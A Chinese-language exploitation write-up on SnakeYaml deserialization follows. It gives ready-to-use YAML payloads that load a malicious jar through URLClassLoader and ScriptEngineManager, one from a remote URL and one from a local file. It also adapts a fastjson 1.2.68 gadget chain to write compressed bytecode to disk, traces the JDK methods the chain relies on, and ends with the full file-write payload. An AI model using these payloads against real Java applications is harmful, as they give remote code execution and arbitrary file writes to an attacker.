SnakeYaml的常見出網利用方式:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"]
]]
]
不出網利用方式:寫入惡意檔案,之後使用上面的利用鏈。
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["file:D:\\yaml-payload.jar"]
]]
]
在java中的執行如下
URL url = new URL("file:D:\\yaml-payload.jar");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
ScriptEngineManager scriptEngineManager = new ScriptEngineManager(urlClassLoader);
寫入檔案的利用鏈來源於fastjson 1.2.68利用鏈,主要是分析這條鏈。
{
"@type": "java.lang.Exception",
"@type": "java.io.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "D:\\yaml-payload.jar",
"append": "false"
},
"infl": {
"input": "xxxxx"
},
"bufLen": 1048576
},
"protocolVersion": 1
}
翻譯成java執行方式大概是這樣:
byte[] code = Files.readAllBytes(Paths.get("D:\\Payload.jar"));
byte[] b = new byte[code.length];
Deflater deflater = new Deflater();
//先對位元組碼壓縮
deflater.setInput(code);
deflater.finish();
deflater.deflate(b);
FileOutputStream fileOutputStream1 = new FileOutputStream(new File("D:\\yaml-payload.jar"));
Inflater inflater = new Inflater();
//解壓
inflater.setInput(b);
InflaterOutputStream inflaterOutputStream = new InflaterOutputStream(fileOutputStream1,inflater,1048576);
//這裡並沒有用MarshalOutputStream,因為MarshalOutputStream構造方法,呼叫out引數,最終是給父類ObjectOutputStream的構造方法執行的,所以直接使用ObjectOutputStream好了。
ObjectOutputStream objectOutputStream = new ObjectOutputStream(inflaterOutputStream);
從最外層開始看,ObjectOutputStream構造方法,順利執行了InflaterOutputStream.write(buf, 0, pos);,最終得到寫入效果。
public ObjectOutputStream(OutputStream out) throws IOException {
verifySubclass();
//this.out = InflaterOutputStream(fileOutputStream1,inflater,1048576);
bout = new BlockDataOutputStream(out);
handles = new HandleTable(10, (float) 3.00);
subs = new ReplaceTable(10, (float) 3.00);
enableOverride = false;
writeStreamHeader();
//執行out.write
bout.setBlockDataMode(true);
if (extendedDebugInfo) {
debugInfoStack = new DebugTraceInfoStack();
} else {
debugInfoStack = null;
}
}
然後看InflaterOutputStream的write方法。
// Decompress and write blocks of output data
do {
//這裡的inf是Inflater物件,物件中已經包含了要寫入的內容,之前由setInput寫入,inf的賦值是在InflaterOutputStream(fileOutputStream1,inflater,1048576)構造方法中賦值。並且構造方法還賦值了out為fileOutputStream1。
//在inf.inflate(buf, 0, buf.length)中inf物件的位元組碼壓縮後傳遞給buf,最終呼叫out.write(buf, 0, n)寫入到檔案
n = inf.inflate(buf, 0, buf.length);
if (n > 0) {
out.write(buf, 0, n);
}
} while (n > 0);
這個鏈是給SnakeYaml做反序列化,可以這樣寫:
!!java.io.ObjectOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["D://yaml-payload.jar"],false],!!java.util.zip.Inflater { input: 壓縮過的位元組碼內容 },1048576]]
壓縮過的位元組碼內容,需要生成,生成完了dump成SnakeYaml的效果。
byte[] code = Files.readAllBytes(Paths.get("D:\\Payload.jar"));
byte[] b = new byte[code.length];
Deflater deflater = new Deflater();
deflater.setInput(code);
deflater.finish();
deflater.deflate(b);
Yaml yaml = new Yaml();
String dump = yaml.dump(b);
System.out.println(dump);
=================================
輸出是這樣的
!!binary |-
eJwL8GZmEWHg4OB......略
最終的寫入利用鏈:
!!java.io.ObjectOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["D://yaml-payload.jar"],false],!!java.util.zip.Inflater { input: !!binary eJwL8GZmEWHg4OBgEAsID2NAApwMLAy+riGOup5+bvr/TjEwMDMEeLNzgKSYoEoCcGoWAWK4Zl9HP0831+AQPV+3z75nTvt46....略 },1048576]]